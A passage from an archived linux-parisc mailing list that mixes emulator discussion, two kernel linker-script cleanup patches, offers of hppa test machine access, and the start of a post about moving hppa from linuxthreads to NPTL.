 boundary="------------020602070900010603040000"
X-Trace: ger.gmane.org 1252103847 10764 80.91.229.12 (4 Sep 2009 22:37:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 4 Sep 2009 22:37:27 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Sep 05 00:37:20 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MjhPB-0005ih-AK
	for glpp-linux-parisc@lo.gmane.org; Sat, 05 Sep 2009 00:37:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934397AbZIDWhM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 4 Sep 2009 18:37:12 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S934398AbZIDWhM
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 4 Sep 2009 18:37:12 -0400
Original-Received: from mail-ew0-f206.google.com ([209.85.219.206]:37946 "EHLO
	mail-ew0-f206.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S934397AbZIDWhM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 4 Sep 2009 18:37:12 -0400
Original-Received: by ewy2 with SMTP id 2so824218ewy.17
        for <linux-parisc@vger.kernel.org>; Fri, 04 Sep 2009 15:37:12 -0700 (PDT)
Original-Received: by 10.216.0.76 with SMTP id 54mr909977wea.151.1252103832680;
        Fri, 04 Sep 2009 15:37:12 -0700 (PDT)
Original-Received: from ?192.168.1.24? (ip226-43-209-87.adsl2.static.versatel.nl [87.209.43.226])
        by mx.google.com with ESMTPS id t12sm4337578gvd.16.2009.09.04.15.37.11
        (version=SSLv3 cipher=RC4-MD5);
        Fri, 04 Sep 2009 15:37:12 -0700 (PDT)
User-Agent: Thunderbird 2.0.0.23 (Windows/20090812)
In-Reply-To: <20090828184201.GA14548@lackof.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2103
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2103>

This is a multi-part message in MIME format.
--------------020602070900010603040000
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit


> You might also look at Aries PA-RISC emulator (on ia64):
>     http://www.princeton.edu/~rblee/ELE572Papers/PARISCtoIA64.htm
>   
Thanks for the reference. There is also a HPPA version of QEMU. Unlike 
them we emulate the whole system hardware. At this moment it is an 
rp24xx system including the ASTRO/ELROY stuff and the NCR SCSI 
controller. We will also add a DE500 ethernet. This means that you can 
install Linux from an ISO image in the emulator like you normally 
install your system from a CD. The goal is to run MPE eventually. Our 
emulator runs on PC x64 in Windows (shame on me).

--------------020602070900010603040000
Content-Type: text/x-vcard; charset=utf-8;
 name="artem_alimarine.vcf"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="artem_alimarine.vcf"

begin:vcard
fn:dr. Artem Alimarine
n:Alimarine;Artem
org:STROMASYS SA
adr:;;De Zaale 11;Eindhoven;;5612AJ;The Netherlands
email;internet:artem.alimarine@stromasys.com
title:Software Architect
tel;work:+31-40-2390863
tel;fax:+31-40-2390800
x-mozilla-html:FALSE
version:2.1
end:vcard


--------------020602070900010603040000--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Abbott <tabbott@ksplice.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 1/2] parisc: Clean up linker script using new linker script macros.
Date: Sun,  6 Sep 2009 23:09:41 -0400
Lines: 151
Approved: news@gmane.org
Message-ID: <1252292982-12969-1-git-send-email-tabbott@ksplice.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1252293067 23036 80.91.229.12 (7 Sep 2009 03:11:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 7 Sep 2009 03:11:07 +0000 (UTC)
Cc: Sam Ravnborg <sam@ravnborg.org>, Tim Abbott <tabbott@ksplice.com>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org
To: Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 07 05:11:00 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MkUd9-0005K6-2I
	for glpp-linux-parisc@lo.gmane.org; Mon, 07 Sep 2009 05:10:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758761AbZIGDKV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 6 Sep 2009 23:10:21 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758818AbZIGDKS
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 6 Sep 2009 23:10:18 -0400
Original-Received: from BISCAYNE-ONE-STATION.MIT.EDU ([18.7.7.80]:60810 "EHLO
	biscayne-one-station.mit.edu" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1758761AbZIGDKP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 6 Sep 2009 23:10:15 -0400
Original-Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103])
	by biscayne-one-station.mit.edu (8.13.6/8.9.2) with ESMTP id n8739n2b024776;
	Sun, 6 Sep 2009 23:09:49 -0400 (EDT)
Original-Received: from localhost (c-71-192-160-118.hsd1.nh.comcast.net [71.192.160.118])
	(authenticated bits=0)
        (User authenticated as tabbott@ATHENA.MIT.EDU)
	by outgoing.mit.edu (8.13.6/8.12.4) with ESMTP id n8739nb7002461;
	Sun, 6 Sep 2009 23:09:49 -0400 (EDT)
X-Mailer: git-send-email 1.6.3.3
X-Scanned-By: MIMEDefang 2.42
X-Spam-Flag: NO
X-Spam-Score: 0.00
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2104 gmane.linux.kernel:886398
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2104>

This patch has the (likely harmless) side effect of moving
.data.init_task inside the _edata.

It also changes the alignment of .data.init_task from 16384 to
THREAD_SIZE, which can in some configurations be larger than 16384.  I
believe that this change fixes a potential bug on those
configurations.

Signed-off-by: Tim Abbott <tabbott@ksplice.com>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
Cc: Sam Ravnborg <sam@ravnborg.org>
---
 arch/parisc/kernel/vmlinux.lds.S |   79 ++------------------------------------
 1 files changed, 4 insertions(+), 75 deletions(-)

diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index fd2cc4f..b2916d8 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -77,13 +77,7 @@ SECTIONS
 	 */
 	. = ALIGN(PAGE_SIZE);
 	data_start = .;
-	. = ALIGN(16);
-	/* Exception table */
-	__ex_table : {
-		__start___ex_table = .;
-		*(__ex_table)
-		__stop___ex_table = .;
-	}
+	EXCEPTION_TABLE(16)
 
 	NOTES
 
@@ -94,23 +88,8 @@ SECTIONS
 		__stop___unwind = .;
 	}
 
-	/* rarely changed data like cpu maps */
-	. = ALIGN(16);
-	.data.read_mostly : {
-		*(.data.read_mostly)
-	}
-
-	. = ALIGN(L1_CACHE_BYTES);
 	/* Data */
-	.data : {
-		DATA_DATA
-		CONSTRUCTORS
-	}
-
-	. = ALIGN(L1_CACHE_BYTES);
-	.data.cacheline_aligned : {
-		*(.data.cacheline_aligned)
-	}
+	RW_DATA_SECTION(L1_CACHE_BYTES, PAGE_SIZE, THREAD_SIZE)
 
 	/* PA-RISC locks requires 16-byte alignment */
 	. = ALIGN(16);
@@ -118,17 +97,6 @@ SECTIONS
 		*(.data.lock_aligned)
 	}
 
-	/* nosave data is really only used for software suspend...it's here
-	 * just in case we ever implement it
-	 */
-	. = ALIGN(PAGE_SIZE);
-	__nosave_begin = .;
-	.data_nosave : {
-		*(.data.nosave)
-	}
-	. = ALIGN(PAGE_SIZE);
-	__nosave_end = .;
-
 	/* End of data section */
 	_edata = .;
 
@@ -147,14 +115,6 @@ SECTIONS
 	}
 	__bss_stop = .;
 
-
-	/* assembler code expects init_task to be 16k aligned */
-	. = ALIGN(16384);
-	/* init_task */
-	.data.init_task : {
-		*(.data.init_task)
-	}
-
 #ifdef CONFIG_64BIT
 	. = ALIGN(16);
 	/* Linkage tables */
@@ -172,31 +132,8 @@ SECTIONS
 	/* reserve space for interrupt stack by aligning __init* to 16k */
 	. = ALIGN(16384);
 	__init_begin = .;
-	.init.text : { 
-		_sinittext = .;
-		INIT_TEXT
-		_einittext = .;
-	}
-	.init.data : {
-		INIT_DATA
-	}
-	. = ALIGN(16);
-	.init.setup : {
-		__setup_start = .;
-		*(.init.setup)
-		__setup_end = .;
-	}
-	.initcall.init : {
-		__initcall_start = .;
-		INITCALLS
-		__initcall_end = .;
-	}
-	.con_initcall.init : {
-		__con_initcall_start = .;
-		*(.con_initcall.init)
-		__con_initcall_end = .;
-	}
-	SECURITY_INIT
+	INIT_TEXT_SECTION(16384)
+	INIT_DATA_SECTION(16)
 
 	/* alternate instruction replacement.  This is a mechanism x86 uses
 	 * to detect the CPU type and replace generic instruction sequences
@@ -222,14 +159,6 @@ SECTIONS
 	.exit.data : {
 		EXIT_DATA
 	}
-#ifdef CONFIG_BLK_DEV_INITRD
-	. = ALIGN(PAGE_SIZE);
-	.init.ramfs : {
-		__initramfs_start = .;
-		*(.init.ramfs)
-		__initramfs_end = .;
-	}
-#endif
 
 	PERCPU(PAGE_SIZE)
 	. = ALIGN(PAGE_SIZE);
-- 
1.6.3.3

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Abbott <tabbott@ksplice.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 2/2] parisc: Remove useless altinstructions code copied from x86.
Date: Sun,  6 Sep 2009 23:09:42 -0400
Lines: 48
Approved: news@gmane.org
Message-ID: <1252292982-12969-2-git-send-email-tabbott@ksplice.com>
References: <1252292982-12969-1-git-send-email-tabbott@ksplice.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1252293178 23227 80.91.229.12 (7 Sep 2009 03:12:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 7 Sep 2009 03:12:58 +0000 (UTC)
Cc: Sam Ravnborg <sam@ravnborg.org>, Tim Abbott <tabbott@ksplice.com>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org
To: Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1758869AbZIGDMY@vger.kernel.org Mon Sep 07 05:12:50 2009
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1758869AbZIGDMY@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MkUev-0005qM-A6
	for glk-linux-kernel-3@lo.gmane.org; Mon, 07 Sep 2009 05:12:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758869AbZIGDMY (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sun, 6 Sep 2009 23:12:24 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758752AbZIGDMX
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Sun, 6 Sep 2009 23:12:23 -0400
Original-Received: from BISCAYNE-ONE-STATION.MIT.EDU ([18.7.7.80]:61109 "EHLO
	biscayne-one-station.mit.edu" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1758731AbZIGDMX (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sun, 6 Sep 2009 23:12:23 -0400
Original-Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103])
	by biscayne-one-station.mit.edu (8.13.6/8.9.2) with ESMTP id n8739rZx024788;
	Sun, 6 Sep 2009 23:09:54 -0400 (EDT)
Original-Received: from localhost (c-71-192-160-118.hsd1.nh.comcast.net [71.192.160.118])
	(authenticated bits=0)
        (User authenticated as tabbott@ATHENA.MIT.EDU)
	by outgoing.mit.edu (8.13.6/8.12.4) with ESMTP id n8739rT4002466;
	Sun, 6 Sep 2009 23:09:53 -0400 (EDT)
X-Mailer: git-send-email 1.6.3.3
In-Reply-To: <1252292982-12969-1-git-send-email-tabbott@ksplice.com>
X-Scanned-By: MIMEDefang 2.42
X-Spam-Flag: NO
X-Spam-Score: 0.00
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:886403 gmane.linux.ports.parisc:2105
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2105>

Signed-off-by: Tim Abbott <tabbott@ksplice.com>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
Cc: Sam Ravnborg <sam@ravnborg.org>
---
 arch/parisc/kernel/vmlinux.lds.S |   25 -------------------------
 1 files changed, 0 insertions(+), 25 deletions(-)

diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index b2916d8..6ff3f00 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -135,31 +135,6 @@ SECTIONS
 	INIT_TEXT_SECTION(16384)
 	INIT_DATA_SECTION(16)
 
-	/* alternate instruction replacement.  This is a mechanism x86 uses
-	 * to detect the CPU type and replace generic instruction sequences
-	 * with CPU specific ones.  We don't currently do this in PA, but
-	 * it seems like a good idea...
-	 */
-	. = ALIGN(4);
-	.altinstructions : {
-		__alt_instructions = .;
-		*(.altinstructions)
-		__alt_instructions_end = .; 
-	} 
-	.altinstr_replacement : {
-		*(.altinstr_replacement)
-	} 
-
-	/* .exit.text is discard at runtime, not link time, to deal with references
-	 *  from .altinstructions and .eh_frame
-	 */
-	.exit.text : {
-		EXIT_TEXT
-	}
-	.exit.data : {
-		EXIT_DATA
-	}
-
 	PERCPU(PAGE_SIZE)
 	. = ALIGN(PAGE_SIZE);
 	__init_end = .;
-- 
1.6.3.3


From - Thu Nov 08 21:04:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@debian.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Any way to emulate hppa? Was: gforth FTBFS on hppa
Date: Mon, 7 Sep 2009 18:55:14 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <7d01f9f00909070955q619d8ebfxc75dfd4ac1f23c4a@mail.gmail.com>
References: <20090907133658.GA1267@straylight.m.ringlet.net>
	 <119aab440909070808w3eaa1a93s3d61a0cea1bfcbcb@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1252342527 30660 80.91.229.12 (7 Sep 2009 16:55:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 7 Sep 2009 16:55:27 +0000 (UTC)
Cc: Peter Pentchev <roam@ringlet.net>, debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 07 18:55:19 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MkhUr-0003MN-OM
	for glpp-linux-parisc@lo.gmane.org; Mon, 07 Sep 2009 18:55:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752490AbZIGQzN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 7 Sep 2009 12:55:13 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753547AbZIGQzM
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 7 Sep 2009 12:55:12 -0400
Original-Received: from mail-ew0-f206.google.com ([209.85.219.206]:47160 "EHLO
	mail-ew0-f206.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752490AbZIGQzL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 7 Sep 2009 12:55:11 -0400
Original-Received: by mail-ew0-f206.google.com with SMTP id 2so2182004ewy.17
        for <linux-parisc@vger.kernel.org>; Mon, 07 Sep 2009 09:55:14 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type;
        bh=K5fp6cS7jW9W9XwDzdZRXZ55uX7MhkT1pwLBgYJvBY8=;
        b=TbWDD6Bf7pmZ2bOhjl4x5VNlGNC5yWtzF9jOjuL8sFvUKAkP+nTNPVFHwtewqxO9Gy
         NxrRvBJvGEnF+EYTwlOfpIA0oJnjB0NTbQAbaRwrXUhNWRaFSXDfp5lIM3u2iA3xlxjf
         zfqjAfwFdIRkJflFoYoeW9/ENod1S4VMkAHuE=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=bGC/up4ptj/RWF1K2FcE940ZCwZVBSuFM0014FmZzfXzPSzl4ci0n7xBUij4kFnehf
         92oY6/LxCv1W+sBW/5RNtlWZvQFqtoCrekFU2er2LnZOmEk5Cw6vh1gxfI63ZDkZUaKH
         vWcxO4xGVOLw14bAb3S3Zj0fkeMrzOFZRpb0o=
Original-Received: by 10.216.86.195 with SMTP id w45mr1597836wee.82.1252342514044; Mon, 
	07 Sep 2009 09:55:14 -0700 (PDT)
In-Reply-To: <119aab440909070808w3eaa1a93s3d61a0cea1bfcbcb@mail.gmail.com>
X-Google-Sender-Auth: 64cd4a686d386592
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2106 gmane.linux.debian.ports.hppa:6000
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2106>

On Mon, Sep 7, 2009 at 5:08 PM, Carlos O'Donell<carlos@systemhalted.org> wrote:

> There are hppa developers who can give you access to an hppa machine
> for testing.
>
> Thibaut, do you have an hppa machine for Peter to run some tests on?

If it's still necessary after Frans' offer, I do ;-)
requirements for access are listed here:
http://www.fr.parisc-linux.org/cluster.html section ESIEE Test Ring.

HTH

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Any way to emulate hppa? Was: gforth FTBFS on hppa
Date: Mon, 7 Sep 2009 11:08:50 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <119aab440909070808w3eaa1a93s3d61a0cea1bfcbcb__26027.520633261$1252345612$gmane$org@mail.gmail.com>
References: <20090907133658.GA1267@straylight.m.ringlet.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1252345612 13560 80.91.229.12 (7 Sep 2009 17:46:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 7 Sep 2009 17:46:52 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Thibaut VARENE <varenet@debian.org>
To: Peter Pentchev <roam@ringlet.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 07 17:09:15 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MkfqE-0004WT-Kv
	for glpp-linux-parisc@lo.gmane.org; Mon, 07 Sep 2009 17:09:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753664AbZIGPIu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 7 Sep 2009 11:08:50 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753679AbZIGPIu
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 7 Sep 2009 11:08:50 -0400
Original-Received: from mail-fx0-f217.google.com ([209.85.220.217]:51877 "EHLO
	mail-fx0-f217.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753664AbZIGPIt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 7 Sep 2009 11:08:49 -0400
Original-Received: by fxm17 with SMTP id 17so2047257fxm.37
        for <linux-parisc@vger.kernel.org>; Mon, 07 Sep 2009 08:08:51 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type;
        bh=KoRreRkFP7hy3e8s5cefeEAoT6qtyzGYOiE8UBsCpNY=;
        b=qzGCiPIRxBiNPygPZV2GXISkGswOtuEArkLqA3grUoUTOJnFd8fMd7YGvoNCHP+oH4
         5FJ1+HY/Pu/f2jvbnIyYJizL2XamyYmwP7+l2meqennUGaimKh2BDxFBnaEzH66xA4hL
         /eBacQlCgHJpB2nfzHUYSlQnCQ0bOvs/DM7kY=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=k57xiXF5caUop/MiHcX3DjQoDfx/h6fpzM/LHvaEM1qozkT+GSoBDqGHCzmbgsAp/y
         OFm03vlPy9+tAxvq1e2vigteRVMhXnQL4aoAeH8h0jRbmHrj42kWIIIlNFykLQ9p9wE7
         rrApAkXxMK56Se6rO/KDZAd4Zh29IZDWEg/jc=
Original-Received: by 10.204.10.131 with SMTP id p3mr12171723bkp.49.1252336131019; Mon, 
	07 Sep 2009 08:08:51 -0700 (PDT)
In-Reply-To: <20090907133658.GA1267@straylight.m.ringlet.net>
X-Google-Sender-Auth: 5c024a25943c9b9a
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2107

On Mon, Sep 7, 2009 at 9:36 AM, Peter Pentchev<roam@ringlet.net> wrote:
> Now, a package of mine, gforth, has been exhibiting a weird FTBFS on
> the hppa architecture; it breaks in the GNU configure stage, trying to
> compile a series of programs that do a binary search to determine
> sizeof(char *).

Peter,

I'm a debian-hppa porter, do you have a test case along with a clear
description of the problem?

There are hppa developers who can give you access to an hppa machine
for testing.

Thibaut, do you have an hppa machine for Peter to run some tests on?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.devel.glibc,gmane.linux.debian.ports.hppa
Subject: Transition hppa from linuxthreads to nptl is ready to proceed.
Date: Mon, 7 Sep 2009 17:54:01 -0400
Lines: 37
Approved: news@gmane.org
Message-ID: <119aab440909071454s7923b95atce6f5f5a7e5b469d@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1252360455 896 80.91.229.12 (7 Sep 2009 21:54:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 7 Sep 2009 21:54:15 +0000 (UTC)
To: GNU Libc Maintainers <debian-glibc@lists.debian.org>,
	Debian HPPA Port List <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Aurelien Jarno <aurelien@aurel
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 07 23:54:07 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MkmA3-00005T-9v
	for glpp-linux-parisc@lo.gmane.org; Mon, 07 Sep 2009 23:54:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752075AbZIGVyC (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 7 Sep 2009 17:54:02 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752270AbZIGVyC
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 7 Sep 2009 17:54:02 -0400
Original-Received: from mail-bw0-f219.google.com ([209.85.218.219]:64663 "EHLO
	mail-bw0-f219.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752075AbZIGVyB (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 7 Sep 2009 17:54:01 -0400
Original-Received: by bwz19 with SMTP id 19so1821259bwz.37
        for <linux-parisc@vger.kernel.org>; Mon, 07 Sep 2009 14:54:03 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:date
         :x-google-sender-auth:message-id:subject:from:to:content-type;
        bh=CiKCRIQfSvjcuYYVVdtwxENgl1DS+zC6TatRr0RYmSM=;
        b=ScUzTV4m0DMakxUzyp3Cxtt+Hf4lwTW+5aLDJEBwmBsuR7z3AWtItYZ54relNZyl9M
         bN8yBo9XK3UuwC62okCmE5PBQ/4PmVDEC+G8g53Kdp+2EhGqqZvu61JQOyeEkp8AfEyE
         SxNA/V3Pwdqn32puSz5jbXFA0392te4EKzzxI=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:date:x-google-sender-auth:message-id:subject
         :from:to:content-type;
        b=JHEaTqkrGbqS6+ptHsN+p1WnQ7jiqlfhjzBIKG69l9jI08H/bp7GBP/WxY9pgu9Y3g
         C9u21gJ9oawHf91OyZDh6N6G2ZrjuT+F2Lg6oM3drgI2jWHe2cvFZHpKZ/+TJTQczz6F
         RdfnKqaT38Q2oJkcY2im2FH2qgTUmC5K9i70Y=
Original-Received: by 10.204.34.71 with SMTP id k7mr12401800bkd.206.1252360442769; Mon, 
	07 Sep 2009 14:54:02 -0700 (PDT)
X-Google-Sender-Auth: 6913641c2544c083
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2108 gmane.linux.debian.devel.glibc:30290 gmane.linux.debian.ports.hppa:6003
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2108>

Aurelian,

